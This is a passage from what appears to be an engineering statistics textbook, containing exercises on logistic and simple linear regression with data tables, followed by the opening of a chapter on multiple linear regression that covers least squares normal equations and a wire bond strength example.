11-80 A study was conducted attempting to relate home ownership to family income. Twenty households were selected and family income was estimated, along with information concerning home ownership ($y = 1$ indicates *yes* and $y = 0$ indicates *no*). The data are shown below.

Household	Income	Home Ownership Status
1	38,000	0
2	51,200	1
3	39,600	0
4	43,400	1
5	47,700	0
6	53,000	0
7	41,500	1
8	40,800	0
9	45,400	1
10	52,400	1
11	38,700	1
12	40,100	0
13	49,500	1
14	38,000	0
15	42,000	1
16	54,000	1
17	51,700	1
18	39,400	0
19	40,900	0
20	52,800	1

(a) Fit a logistic regression model to the response variable y. Use a simple linear regression model as the structure for the linear predictor.
(b) Is the logistic regression model in part (a) adequate?
(c) Provide an interpretation of the parameter β_1 in this model.

11-81 The compressive strength of an alloy fastener used in aircraft construction is being studied. Ten loads were selected over the range 2500– 4300 psi and a number of fasteners were tested at those loads. The numbers of fasteners failing at each load were recorded. The complete test data follow.

Load, x (psi)	Sample Size, n	Number Failing, r
2500	50	10
2700	70	17
2900	100	30
3100	60	21
3300	40	18
3500	85	43
3700	90	54
3900	50	33
4100	80	60
4300	65	51

(a) Fit a logistic regression model to the data. Use a simple linear regression model as the structure for the linear predictor.
(b) Is the logistic regression model in part (a) adequate?

11-82 The market research department of a soft drink manufacturer is investigating the effectiveness of a price discount coupon on the purchase of a two-liter beverage product. A sample of 5500 customers was given coupons for varying price discounts between 5 and 25 cents. The response variable was the number of coupons in each price discount category redeemed after one month. The data are shown below.

Discount, x	Sample Size, n	Number Redeemed, r
5	500	100
7	500	122
9	500	147
11	500	176
13	500	211
15	500	244
17	500	277
19	500	310
21	500	343
23	500	372
25	500	391

(a) Fit a logistic regression model to the data. Use a simple linear regression model as the structure for the linear predictor.
(b) Is the logistic regression model in part (a) adequate?
(c) Draw a graph of the data and the fitted logistic regression model.

(d) Expand the linear predictor to include a quadratic term. Is there any evidence that this quadratic term is required in the model?

(e) Draw a graph of this new model on the same plot that you prepared in part (c). Does the expanded model visually provide a better fit to the data than the original model from part (a)?

11-83 A study was performed to investigate new automobile purchases. A sample of 20 families was selected. Each family was surveyed to determine the age of their oldest vehicle and their total family income. A follow-up survey was conducted six months later to determine if they had actually purchased a new vehicle during that time period ($y = 1$ indicates *yes* and $y = 0$ indicates *no*). The data from this study are shown in the following table.

Income, x_1	Age, x_2	y	Income, x_1	Age, x_2	y
45,000	2	0	37,000	5	1
40,000	4	0	31,000	7	1
60,000	3	1	40,000	4	1
50,000	2	1	75,000	2	0
55,000	2	0	43,000	9	1
50,000	5	1	49,000	2	0
35,000	7	1	37,500	4	1
65,000	2	1	71,000	1	0
53,000	2	0	34,000	5	0
48,000	1	0	27,000	6	0

(a) Fit a logistic regression model to the data.
(b) Is the logistic regression model in part (a) adequate?
(c) Interpret the model coefficients β_1 and β_2.
(d) What is the estimated probability that a family with an income of \$45,000 and a car that is five years old will purchase a new vehicle in the next six months?
(e) Expand the linear predictor to include an interaction term. Is there any evidence that this term is required in the model?

Supplemental Exercises

11-84. Show that, for the simple linear regression model, the following statements are true:

(a) $\sum_{i=1}^{n}(y_i - \hat{y}_i) = 0$ (b) $\sum_{i=1}^{n}(y_i - \hat{y}_i)x_i = 0$

(c) $\frac{1}{n}\sum_{i=1}^{n}\hat{y}_i = \bar{y}$

11-85. An article in the *IEEE Transactions on Instrumentation and Measurement* ["Direct, Fast, and Accurate Measurement of V_T and K of MOS Transistor Using V_T-Sift Circuit" (1991, Vol. 40, pp. 951–955)] described the use of a simple linear regression model to express drain current y (in milliamperes) as a function of ground-to-source voltage x (in volts). The data are as follows:

y	x	y	x
0.734	1.1	1.50	1.6
0.886	1.2	1.66	1.7
1.04	1.3	1.81	1.8
1.19	1.4	1.97	1.9
1.35	1.5	2.12	2.0

(a) Draw a scatter diagram of these data. Does a straight-line relationship seem plausible?
(b) Fit a simple linear regression model to these data.
(c) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?
(d) Find a 95% confidence interval estimate on the slope.
(e) Test the hypothesis H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.05$. What conclusions can you draw?

11-86. The strength of paper used in the manufacture of cardboard boxes (y) is related to the percentage of hardwood concentration in the original pulp (x). Under controlled conditions, a pilot plant manufactures 16 samples, each from a different batch of pulp, and measures the tensile strength. The data are shown in the table that follows:

y	101.4	117.4	117.1	106.2
x	1.0	1.5	1.5	1.5
y	131.9	146.9	146.8	133.9
x	2.0	2.0	2.2	2.4
y	111.0	123.0	125.1	145.2
x	2.5	2.5	2.8	2.8
y	134.3	144.5	143.7	146.9
x	3.0	3.0	3.2	3.3

(a) Fit a simple linear regression model to the data.
(b) Test for significance of regression using $\alpha = 0.05$.
(c) Construct a 90% confidence interval on the slope β_1.
(d) Construct a 90% confidence interval on the intercept β_0.
(e) Construct a 95% confidence interval on the mean strength at $x = 2.5$.
(f) Analyze the residuals and comment on model adequacy.

11-87. Consider the following data. Suppose that the relationship between Y and x is hypothesized to be $Y = (\beta_0 + \beta_1 x + \epsilon)^{-1}$. Fit an appropriate model to the data. Does the assumed model form seem reasonable?

x	10	15	18	12	9	8	11	6
y	0.1	0.13	0.09	0.15	0.20	0.21	0.18	0.24

11-88. The following data, adapted from Montgomery, Peck, and Vining (2006), present the number of certified mental defectives per 10,000 of estimated population in the United Kingdom (y) and the number of radio receiver licenses issued (x) by the BBC (in millions) for the years 1924 through 1937. Fit a regression model relating y and x. Comment on the model. Specifically, does the existence of a strong correlation imply a cause-and-effect relationship?

Year	y	x	Year	y	x
1924	8	1.350	1931	16	4.620
1925	8	1.960	1932	18	5.497
1926	9	2.270	1933	19	6.260
1927	10	2.483	1934	20	7.012
1928	11	2.730	1935	21	7.618
1929	11	3.091	1936	22	8.131
1930	12	3.674	1937	23	8.593

11-89. Consider the weight and blood pressure data in Exercise 11-72. Fit a no-intercept model to the data, and compare it to the model obtained in Exercise 11-70. Which model is superior?

11-90. An article in *Air and Waste* ["Update on Ozone Trends in California's South Coast Air Basin" (Vol. 43, 1993)] studied the ozone levels on the South Coast air basin of California for the years 1976–1991. The author believes that the number of days that the ozone level exceeds 0.20 parts per million depends on the seasonal meteorological index (the seasonal average 850 millibar temperature). The data follow:

Year	Days	Index	Year	Days	Index
1976	91	16.7	1984	81	18.0
1977	105	17.1	1985	65	17.2
1978	106	18.2	1986	61	16.9
1979	108	18.1	1987	48	17.1
1980	88	17.2	1988	61	18.2
1981	91	18.2	1989	43	17.3
1982	58	16.0	1990	33	17.5
1983	82	17.2	1991	36	16.6

(a) Construct a scatter diagram of the data.
(b) Fit a simple linear regression model to the data. Test for significance of regression.
(c) Find a 95% CI on the slope β_1.
(d) Analyze the residuals and comment on model adequacy.

11-91. An article in the *Journal of Applied Polymer Science* (Vol. 56, pp. 471–476, 1995) studied the effect of the mole ratio of sebacic acid on the intrinsic viscosity of copolyesters. The data follow:

Mole ratio x	1.0	0.9	0.8	0.7	0.6	0.5	0.4	0.3
Viscosity y	0.45	0.20	0.34	0.58	0.70	0.57	0.55	0.44

(a) Construct a scatter diagram of the data.
(b) Fit a simple linear repression model.
(c) Test for significance of regression. Calculate R^2 for the model.
(d) Analyze the residuals and comment on model adequacy.

11-92. Two different methods can be used for measuring the temperature of the solution in a Hall cell used in aluminum smelting, a thermocouple implanted in the cell and an indirect measurement produced from an IR device. The indirect method is preferable because the thermocouples are eventually destroyed by the solution. Consider the following 10 measurements:

Thermocouple	921	935	916	920	940
IR	918	934	924	921	945
Thermocouple	936	925	940	933	927
IR	930	919	943	932	935

(a) Construct a scatter diagram for these data, letting x = thermocouple measurement and y = IR measurement.
(b) Fit a simple linear regression model.
(c) Test for significance a regression and calculate R^2. What conclusions can you draw?
(d) Is there evidence to support a claim that both devices produce equivalent temperature measurements? Formulate and test an appropriate hypothesis to support this claim.
(e) Analyze the residuals and comment on model adequacy.

11-93. The grams of solids removed from a material (y) is thought to be related to the drying time. Ten observations obtained from an experimental study follow:

y	4.3	1.5	1.8	4.9	4.2	4.8	5.8	6.2	7.0	7.9
x	2.5	3.0	3.5	4.0	4.5	5.0	5.5	6.0	6.5	7.0

(a) Construct a scatter diagram for these data.
(b) Fit a simple linear regression model.
(c) Test for significance of regression.
(d) Based on these data, what is your estimate of the mean grams of solids removed at 4.25 hours? Find a 95% confidence interval on the mean.
(e) Analyze the residuals and comment on model adequacy.

11-94. Cesium atoms cooled by laser light could be used to build inexpensive atomic clocks. In a study in *IEEE Transactions on Instrumentation and Measurement* (2001, Vol. 50, pp. 1224–1228), the number of atoms cooled by lasers of various powers were counted.

Power (mW)	Number of Atoms (×10E9)
11	0
12	0.02
18	0.08
21	0.13
22	0.15
24	0.18
28	0.31
32	0.4
37	0.49
39	0.57
41	0.64
46	0.71
48	0.79
50	0.82
51	0.83

(a) Graph the data and fit a regression line to predict the number of atoms from laser power. Comment on the adequacy of a linear model.
(b) Is there a significant regression at $\alpha = 0.05$? What is the P-value?
(c) Estimate the correlation coefficient.
(d) Test the hypothesis that $\rho = 0$ against the alternative $\rho \neq 0$ with $\alpha = 0.05$. What is the P-value?
(e) Compute a 95% confidence interval for the slope coefficient.

11-95. The following data related diamond carats to purchase prices. It appeared in Singapore's *Business Times*, February 18, 2000.

Carat	Price	Carat	Price
0.3	1302	0.33	1327
0.3	1510	0.33	1098
0.3	1510	0.34	1693
0.3	1260	0.34	1551
0.31	1641	0.34	1410
0.31	1555	0.34	1269
0.31	1427	0.34	1316
0.31	1427	0.34	1222
0.31	1126	0.35	1738
0.31	1126	0.35	1593
0.32	1468	0.35	1447
0.32	1202	0.35	1255
0.36	1635	0.45	1572
0.36	1485	0.46	2942
0.37	1420	0.48	2532
0.37	1420	0.5	3501
0.4	1911	0.5	3501
0.4	1525	0.5	3501
0.41	1956	0.5	3293
0.43	1747	0.5	3016

(a) Graph the data. What is the relation between carat and price? Is there an outlier?
(b) What would you say to the person who purchased the diamond that was an outlier?
(c) Fit two regression models, one with all the data and the other with unusual data omitted. Estimate the slope coefficient with a 95% confidence interval in both cases. Comment on any difference.

11-96. The following table shows the population and the average count of wood storks sighted per sample period for South Carolina from 1991 to 2004. Fit a regression line with population as the response and the count of wood storks as the predictor. Such an analysis might be used to evaluate the relationship between storks and babies. Is regression significant at $\alpha = 0.05$? What do you conclude about the role of regression analysis to establish a cause-and-effect relationship?

Year	Population	Stork Count
1991	3,559,470	0.342
1992	3,600,576	0.291
1993	3,634,507	0.291
1994	3,666,456	0.291
1995	3,699,943	0.291
1996	3,738,974	0.509
1997	3,790,066	0.294
1998	3,839,578	0.799
1999	3,885,736	0.542
2000	4,012,012	0.495
2001	4,061,209	0.859
2002	4,105,848	0.364
2003	4,148,744	0.501
2004	4,198,068	0.656

MIND-EXPANDING EXERCISES

11-97. Suppose that we have n pairs of observations (x_i, y_i) such that the sample correlation coefficient r is unity (approximately). Now let $z_i = y_i^2$ and consider the sample correlation coefficient for the n-pairs of data (x_i, z_i). Will this sample correlation coefficient be approximately unity? Explain why or why not.

11-98. Consider the simple linear regression model $Y = \beta_0 + \beta_1 x + \epsilon$, with $E(\epsilon) = 0$, $V(\epsilon) = \sigma^2$, and the errors ϵ uncorrelated.

(a) Show that $\text{cov}(\hat{\beta}_0, \hat{\beta}_1) = -\bar{x}\sigma^2/S_{xx}$.

(b) Show that $\text{cov}(\bar{Y}, \hat{\beta}_1) = 0$.

11-99. Consider the simple linear regression model $Y = \beta_0 + \beta_1 x + \epsilon$, with $E(\epsilon) = 0$, $V(\epsilon) = \sigma^2$, and the errors ϵ uncorrelated.

(a) Show that $E(\hat{\sigma}^2) = E(MS_E) = \sigma^2$.

(b) Show that $E(MS_R) = \sigma^2 + \beta_1^2 S_{xx}$.

11-100. Suppose that we have assumed the straight-line regression model

$$Y = \beta_0 + \beta_1 x_1 + \epsilon$$

but the response is affected by a second variable x_2 such that the true regression function is

$$E(Y) = \beta_0 + \beta_1 x_1 + \beta_2 x_2$$

Is the estimator of the slope in the simple linear regression model unbiased?

11-101. Suppose that we are fitting a line and we wish to make the variance of the regression coefficient $\hat{\beta}_1$ as small as possible. Where should the observations x_i, $i = 1, 2, \ldots, n$, be taken so as to minimize $V(\hat{\beta}_1)$? Discuss the practical implications of this allocation of the x_i.

11-102. **Weighted Least Squares.** Suppose that we are fitting the line $Y = \beta_0 + \beta_1 x + \epsilon$, but the variance of Y depends on the level of x; that is,

$$V(Y_i | x_i) = \sigma_i^2 = \frac{\sigma^2}{w_i} \qquad i = 1, 2, \ldots, n$$

where the w_i are constants, often called *weights*. Show that for an objective function in which each squared residual is multiplied by the reciprocal of the variance of the corresponding observation, the resulting **weighted** least squares normal equations are

$$\hat{\beta}_0 \sum_{i=1}^{n} w_i + \hat{\beta}_1 \sum_{i=1}^{n} w_i x_i = \sum_{i=1}^{n} w_i y_i$$

$$\hat{\beta}_0 \sum_{i=1}^{n} w_i x_i + \hat{\beta}_1 \sum_{i=1}^{n} w_i x_i^2 = \sum_{i=1}^{n} w_i x_i y_i$$

Find the solution to these normal equations. The solutions are weighted least squares estimators of β_0 and β_1.

11-103. Consider a situation where both Y and X are random variables. Let s_x and s_y be the sample standard deviations of the observed x's and y's, respectively. Show that an alternative expression for the fitted simple linear regression model $\hat{y} = \hat{\beta}_0 + \hat{\beta}_1 x$ is

$$\hat{y} = \bar{y} + r\frac{s_y}{s_x}(x - \bar{x})$$

11-104. Suppose that we are interested in fitting a simple linear regression model $Y = \beta_0 + \beta_1 x + \epsilon$, where the intercept, β_0, is known.

(a) Find the least squares estimator of β_1.

(b) What is the variance of the estimator of the slope in part (a)?

(c) Find an expression for a $100(1 - \alpha)\%$ confidence interval for the slope β_1. Is this interval longer than the corresponding interval for the case where both the intercept and slope are unknown? Justify your answer.

IMPORTANT TERMS AND CONCEPTS

Analysis of variance test in regression
Confidence interval on mean response
Correlation coefficient
Empirical model
Confidence intervals on model parameters
Intrinsically linear model
Least squares estimation of regression model parameters
Logistic regression
Model adequacy checking
Odds ratio
Prediction interval on a future observation
Regression analysis
Residual plots
Residuals
Scatter diagram
Significance of regression
Simple linear regression model standard errors
Statistical tests on model parameters
Transformations

12

© David Lewis/
iStockphoto

Multiple Linear Regression

This chapter generalizes the simple linear regression to a situation where there is more than one predictor or regressor variable. This situation occurs frequently in science and engineering; for example, in Chapter 1 we provided data on the pull strength of a wire bond on a semiconductor package and illustrated its relationship to the wire length and the die height. Understanding the relationship between strength and the other two variables may provide important insight to the engineer when the package is designed, or to the manufacturing personnel who assemble the die into the package. We used a multiple **linear regression** model to relate strength to wire length and die height. There are many examples of such relationships: The life of a cutting tool is related to the cutting speed and the tool angle; patient satisfaction in a hospital is related to patient age, type of procedure performed, and length of stay; and the fuel economy of a vehicle is related to the type of vehicle (car versus truck), engine displacement, horsepower, type of transmission, and vehicle weight. Multiple regression models give insight into the relationships between these variables that can have important practical implications.

This chapter shows how to fit multiple linear regression models, perform the statistical tests and confidence procedures that are analogous to those for simple linear regression, and check for model adequacy. We also show how models that have polynomial terms in the regressor variables are just multiple linear regression models. We also discuss some aspects of building a good regression model from a collection of candidate regressors.

CHAPTER OUTLINE

12-1 MULTIPLE LINEAR REGRESSION MODEL

12-1.1 Introduction

12-1.2 Least Squares Estimation of the Parameters

12-1.3 Matrix Approach to Multiple Linear Regression

12-1.4 Properties of the Least Squares Estimators

12-2 HYPOTHESIS TESTS IN MULTIPLE LINEAR REGRESSION
12-2.1 Test for Significance of Regression
12-2.2 Tests on Individual Regression Coefficients and Subsets of Coefficients
12-3 CONFIDENCE INTERVALS IN MULTIPLE LINEAR REGRESSION
12-3.1 Confidence Intervals on Individual Regression Coefficients
12-3.2 Confidence Interval on the Mean Response
12-4 PREDICTION OF NEW OBSERVATIONS
12-5 MODEL ADEQUACY CHECKING
12-5.1 Residual Analysis
12-5.2 Influential Observations
12-6 ASPECTS OF MULTIPLE REGRESSION MODELING
12-6.1 Polynomial Regression Models
12-6.2 Categorical Regressors and Indicator Variables
12-6.3 Selection of Variables and Model Building
12-6.4 Multicollinearity

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Use multiple regression techniques to build empirical models to engineering and scientific data**
2. **Understand how the method of least squares extends to fitting multiple regression models**
3. **Assess regression model adequacy**
4. **Test hypotheses and construct confidence intervals on the regression coefficients**
5. **Use the regression model to estimate the mean response and to make predictions and to construct confidence intervals and prediction intervals**
6. **Build regression models with polynomial terms**
7. **Use indicator variables to model categorical regressors**
8. **Use stepwise regression and other model building techniques to select the appropriate set of variables for a regression model**

12-1 MULTIPLE LINEAR REGRESSION MODEL

12-1.1 Introduction

Many applications of regression analysis involve situations in which there are more than one regressor or predictor variable. A regression model that contains more than one regressor variable is called a **multiple regression model.**

As an example, suppose that the effective life of a cutting tool depends on the cutting speed and the tool angle. A multiple regression model that might describe this relationship is

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon \tag{12-1}$$

where Y represents the tool life, x_1 represents the cutting speed, x_2 represents the tool angle, and ϵ is a random error term. This is a multiple linear regression model with two regressors. The term **linear** is used because Equation 12-1 is a linear function of the unknown parameters β_0, β_1, and β_2.

Figure 12-1 (a) The regression plane for the model $E(Y) = 50 + 10x_1 + 7x_2$. (b) The contour plot.

The regression model in Equation 12-1 describes a plane in the three-dimensional space of Y, x_1, and x_2. Figure 12-1(a) shows this plane for the regression model

$$E(Y) = 50 + 10x_1 + 7x_2$$

where we have assumed that the expected value of the error term is zero; that is $E(\epsilon) = 0$. The parameter β_0 is the **intercept** of the plane. We sometimes call β_1 and β_2 **partial regression coefficients,** because β_1 measures the expected change in Y per unit change in x_1 when x_2 is held constant, and β_2 measures the expected change in Y per unit change in x_2 when x_1 is held constant. Figure 12-1(b) shows a **contour plot** of the regression model—that is, lines of constant $E(Y)$ as a function of x_1 and x_2. Notice that the contour lines in this plot are straight lines.

In general, the **dependent variable** or **response** Y may be related to k **independent** or **regressor variables.** The model

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \cdots + \beta_k x_k + \epsilon \tag{12-2}$$

is called a multiple linear regression model with k regressor variables. The parameters β_j, $j = 0, 1, \ldots, k$, are called the regression coefficients. This model describes a hyperplane in the k-dimensional space of the regressor variables $\{x_j\}$. The parameter β_j represents the expected change in response Y per unit change in x_j when all the remaining regressors x_i $(i \neq j)$ are held constant.

Multiple linear regression models are often used as approximating functions. That is, the true functional relationship between Y and $x_1, x_2, \ldots, x_k$ is unknown, but over certain ranges of the independent variables the linear regression model is an adequate approximation.

Models that are more complex in structure than Equation 12-2 may often still be analyzed by multiple linear regression techniques. For example, consider the **cubic polynomial** model in one regressor variable.

$$Y = \beta_0 + \beta_1 x + \beta_2 x^2 + \beta_3 x^3 + \epsilon \tag{12-3}$$

If we let $x_1 = x$, $x_2 = x^2$, $x_3 = x^3$, Equation 12-3 can be written as

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_3 + \epsilon \tag{12-4}$$

which is a multiple linear regression model with three regressor variables.

Models that include **interaction** effects may also be analyzed by multiple linear regression methods. An interaction between two variables can be represented by a cross-product term in the model, such as

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_{12} x_1 x_2 + \epsilon \tag{12-5}$$

If we let $x_3 = x_1 x_2$ and $\beta_3 = \beta_{12}$, Equation 12-5 can be written as

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_3 + \epsilon$$

which is a linear regression model.

Figure 12-2(a) and (b) shows the three-dimensional plot of the regression model

$$Y = 50 + 10x_1 + 7x_2 + 5x_1 x_2$$

and the corresponding two-dimensional contour plot. Notice that, although this model is a linear regression model, the shape of the surface that is generated by the model is not linear. In general, **any regression model that is linear in parameters** (the β's) **is a linear regression model, regardless of the shape of the surface that it generates.**

Figure 12-2 provides a nice graphical interpretation of an interaction. Generally, interaction implies that the effect produced by changing one variable (x_1, say) depends on the level of the other variable (x_2). For example, Fig. 12-2 shows that changing x_1 from 2 to 8 produces a much smaller change in $E(Y)$ when $x_2 = 2$ than when $x_2 = 10$. Interaction effects occur frequently in the study and analysis of real-world systems, and regression methods are one of the techniques that we can use to describe them.

As a final example, consider the second-order model with interaction

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_{11} x_1^2 + \beta_{22} x_2^2 + \beta_{12} x_1 x_2 + \epsilon \tag{12-6}$$

If we let $x_3 = x_1^2$, $x_4 = x_2^2$, $x_5 = x_1 x_2$, $\beta_3 = \beta_{11}$, $\beta_4 = \beta_{22}$, and $\beta_5 = \beta_{12}$, Equation 12-6 can be written as a multiple linear regression model as follows:

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \beta_3 x_3 + \beta_4 x_4 + \beta_5 x_5 + \epsilon$$

Figure 12-3(a) and (b) show the three-dimensional plot and the corresponding contour plot for

$$E(Y) = 800 + 10x_1 + 7x_2 - 8.5x_1^2 - 5x_2^2 + 4x_1 x_2$$

These plots indicate that the expected change in Y when x_1 is changed by one unit (say) is a function of *both* x_1 and x_2. The quadratic and interaction terms in this model produce a mound-shaped function. Depending on the values of the regression coefficients, the second-order model with interaction is capable of assuming a wide variety of shapes; thus, it is a very flexible regression model.

12-1.2 Least Squares Estimation of the Parameters

The **method of least squares** may be used to estimate the regression coefficients in the multiple regression model, Equation 12-2. Suppose that $n > k$ observations are available, and let

Figure 12-2 (a) Three-dimensional plot of the regression model $E(Y) = 50 + 10x_1 + 7x_2 + 5x_1x_2$. (b) The contour plot.

Figure 12-3 (a) Three-dimensional plot of the regression model $E(Y) = 800 + 10x_1 + 7x_2 - 8.5x_1^2 - 5x_2^2 + 4x_1x_2$. (b) The contour plot.

x_{ij} denote the ith observation or level of variable x_j. The observations are

$$(x_{i1}, x_{i2}, \ldots, x_{ik}, y_i), \qquad i = 1, 2, \ldots, n \quad \text{and} \quad n > k$$

It is customary to present the data for multiple regression in a table such as Table 12-1.

Each observation $(x_{i1}, x_{i2}, \ldots, x_{ik}, y_i)$, satisfies the model in Equation 12-2, or

$$\begin{aligned} y_i &= \beta_0 + \beta_1 x_{i1} + \beta_2 x_{i2} + \cdots + \beta_k x_{ik} + \epsilon_i \\ &= \beta_0 + \sum_{j=1}^{k} \beta_j x_{ij} + \epsilon_i \qquad i = 1, 2, \ldots, n \end{aligned} \tag{12-7}$$

Table 12-1 Data for Multiple Linear Regression

y	x_1	x_2	$\ldots$	x_k
y_1	x_{11}	x_{12}	$\ldots$	x_{1k}
y_2	x_{21}	x_{22}	$\ldots$	x_{2k}
$\vdots$	$\vdots$	$\vdots$		$\vdots$
y_n	x_{n1}	x_{n2}	$\ldots$	x_{nk}

The least squares function is

$$L = \sum_{i=1}^{n} \epsilon_i^2 = \sum_{i=1}^{n} \left(y_i - \beta_0 - \sum_{j=1}^{k} \beta_j x_{ij} \right)^2 \tag{12-8}$$

We want to minimize L with respect to $\beta_0, \beta_1, \ldots, \beta_k$. The **least squares estimates** of $\beta_0, \beta_1, \ldots, \beta_k$ must satisfy

$$\left. \frac{\partial L}{\partial \beta_0} \right|_{\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k} = -2 \sum_{i=1}^{n} \left(y_i - \hat{\beta}_0 - \sum_{j=1}^{k} \hat{\beta}_j x_{ij} \right) = 0 \tag{12-9a}$$

and

$$\left. \frac{\partial L}{\partial \beta_j} \right|_{\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k} = -2 \sum_{i=1}^{n} \left(y_i - \hat{\beta}_0 - \sum_{j=1}^{k} \hat{\beta}_j x_{ij} \right) x_{ij} = 0 \quad j = 1, 2, \ldots, k \tag{12-9b}$$

Simplifying Equation 12-9, we obtain the **least squares normal equations**

$$\begin{aligned}
n\hat{\beta}_0 + \hat{\beta}_1 \sum_{i=1}^{n} x_{i1} &+ \hat{\beta}_2 \sum_{i=1}^{n} x_{i2} + \cdots + \hat{\beta}_k \sum_{i=1}^{n} x_{ik} = \sum_{i=1}^{n} y_i \\
\hat{\beta}_0 \sum_{i=1}^{n} x_{i1} + \hat{\beta}_1 \sum_{i=1}^{n} x_{i1}^2 &+ \hat{\beta}_2 \sum_{i=1}^{n} x_{i1} x_{i2} + \cdots + \hat{\beta}_k \sum_{i=1}^{n} x_{i1} x_{ik} = \sum_{i=1}^{n} x_{i1} y_i \\
\vdots \qquad \vdots \qquad & \vdots \qquad \vdots \qquad \vdots \qquad \vdots \\
\hat{\beta}_0 \sum_{i=1}^{n} x_{ik} + \hat{\beta}_1 \sum_{i=1}^{n} x_{ik} x_{i1} &+ \hat{\beta}_2 \sum_{i=1}^{n} x_{ik} x_{i2} + \cdots + \hat{\beta}_k \sum_{i=1}^{n} x_{ik}^2 = \sum_{i=1}^{n} x_{ik} y_i
\end{aligned} \tag{12-10}$$

Note that there are $p = k + 1$ normal equations, one for each of the unknown regression coefficients. The solution to the normal equations will be the **least squares estimators** of the regression coefficients, $\hat{\beta}_0, \hat{\beta}_1, \ldots, \hat{\beta}_k$. The normal equations can be solved by any method appropriate for solving a system of linear equations.

EXAMPLE 12-1 Wire Bond Strength

In Chapter 1, we used data on pull strength of a wire bond in a semiconductor manufacturing process, wire length, and die height to illustrate building an empirical model. We will use the same data, repeated for convenience in Table 12-2, and show the details of estimating the model parameters. A three-dimensional scatter plot of the data is presented in Fig. 1-15. Figure 12-4 shows a matrix of two-dimensional scatter plots of the data. These displays can be helpful in visualizing the relationships among variables in a multivariable data set. For example, the plot indicates that there is a strong linear relationship between strength and wire length.

Specifically, we will fit the multiple linear regression model

$$Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$$

where Y = pull strength, x_1 = wire length, and x_2 = die height. From the data in Table 12-2 we calculate

$$n = 25, \quad \sum_{i=1}^{25} y_i = 725.82$$

$$\sum_{i=1}^{25} x_{i1} = 206, \quad \sum_{i=1}^{25} x_{i2} = 8{,}294$$

$$\sum_{i=1}^{25} x_{i1}^2 = 2{,}396, \quad \sum_{i=1}^{25} x_{i2}^2 = 3{,}531{,}848$$

$$\sum_{i=1}^{25} x_{i1} x_{i2} = 77{,}177, \quad \sum_{i=1}^{25} x_{i1} y_i = 8{,}008.47,$$

$$\sum_{i=1}^{25} x_{i2} y_i = 274{,}816.71$$

Table 12-2 Wire Bond Data for Example 12-1

Observation Number	Pull Strength y	Wire Length x_1	Die Height x_2	Observation Number	Pull Strength y	Wire Length x_1	Die Height x_2
1	9.95	2	50	14	11.66	2	360
2	24.45	8	110	15	21.65	4	205
3	31.75	11	120	16	17.89	4	400
4	35.00	10	550	17	69.00	20	600
5	25.02	8	295	18	10.30	1	585
6	16.86	4	200	19	34.93	10	540
7	14.38	2	375	20	46.59	15	250
8	9.60	2	52	21	44.88	15	290
9	24.35	9	100	22	54.12	16	510
10	27.50	8	300	23	56.63	17	590
11	17.08	4	412	24	22.13	6	100
12	37.00	11	400	25	21.15	5	400
13	41.95	12	500				

For the model $Y = \beta_0 + \beta_1 x_1 + \beta_2 x_2 + \epsilon$, the normal equations 12-10 are

$$n\hat{\beta}_0 + \hat{\beta}_1 \sum_{i=1}^{n} x_{i1} + \hat{\beta}_2 \sum_{i=1}^{n} x_{i2} = \sum_{i=1}^{n} y_i$$

$$\hat{\beta}_0 \sum_{i=1}^{n} x_{i1} + \hat{\beta}_1 \sum_{i=1}^{n} x_{i1}^2 + \hat{\beta}_2 \sum_{i=1}^{n} x_{i1}x_{i2} = \sum_{i=1}^{n} x_{i1}y_i$$

$$\hat{\beta}_0 \sum_{i=1}^{n} x_{i2} + \hat{\beta}_1 \sum_{i=1}^{n} x_{i1}x_{i2} + \hat{\beta}_2 \sum_{i=1}^{n} x_{i2}^2 = \sum_{i=1}^{n} x_{i2}y_i$$

Inserting the computed summations into the normal equations, we obtain

$$25\hat{\beta}_0 + 206\hat{\beta}_1 + 8294\hat{\beta}_2 = 725.82$$

$$206\hat{\beta}_0 + 2396\hat{\beta}_1 + 77{,}177\hat{\beta}_2 = 8{,}008.47$$

$$8294\hat{\beta}_0 + 77{,}177\hat{\beta}_1 + 3{,}531{,}848\hat{\beta}_2 = 274{,}816.71$$

Figure 12-4 Matrix of scatter plots (from Minitab) for the wire bond pull strength data in Table 12-2.

The solution to this set of equations is

$$\hat{\beta}_0 = 2.26379, \quad \hat{\beta}_1 = 2.74427, \quad \hat{\beta}_2 = 0.01253$$

Therefore, the fitted regression equation is

$$\hat{y} = 2.26379 + 2.74427x_1 + 0.01253x_2$$

Practical Interpretation: This equation can be used to predict pull strength for pairs of values of the regressor variables wire length (x_1) and die height (x_2). This is essentially the same regression model given in Section 1-3. Figure 1-16 shows a three-dimensional plot of the plane of predicted values $\hat{y}$ generated from this equation.

12-1.3 Matrix Approach to Multiple Linear Regression

In fitting a multiple regression model, it is much more convenient to express the mathematical operations using **matrix notation.** Suppose that there are k regressor variables and n observations, $(x_{i1}, x_{i2}, \ldots, x_{ik}, y_i)$, $i = 1, 2, \ldots, n$ and that the model relating the regressors to the response is

$$y_i = \beta_0 + \beta_1 x_{i1} + \beta_2 x_{i2} + \cdots + \beta_k x_{ik} + \epsilon_i \qquad i = 1, 2, \ldots, n$$

This model is a system of n equations that can be expressed in matrix notation as

$$\mathbf{y} = \mathbf{X}\boldsymbol{\beta} + \boldsymbol{\epsilon} \tag{12-11}$$

where

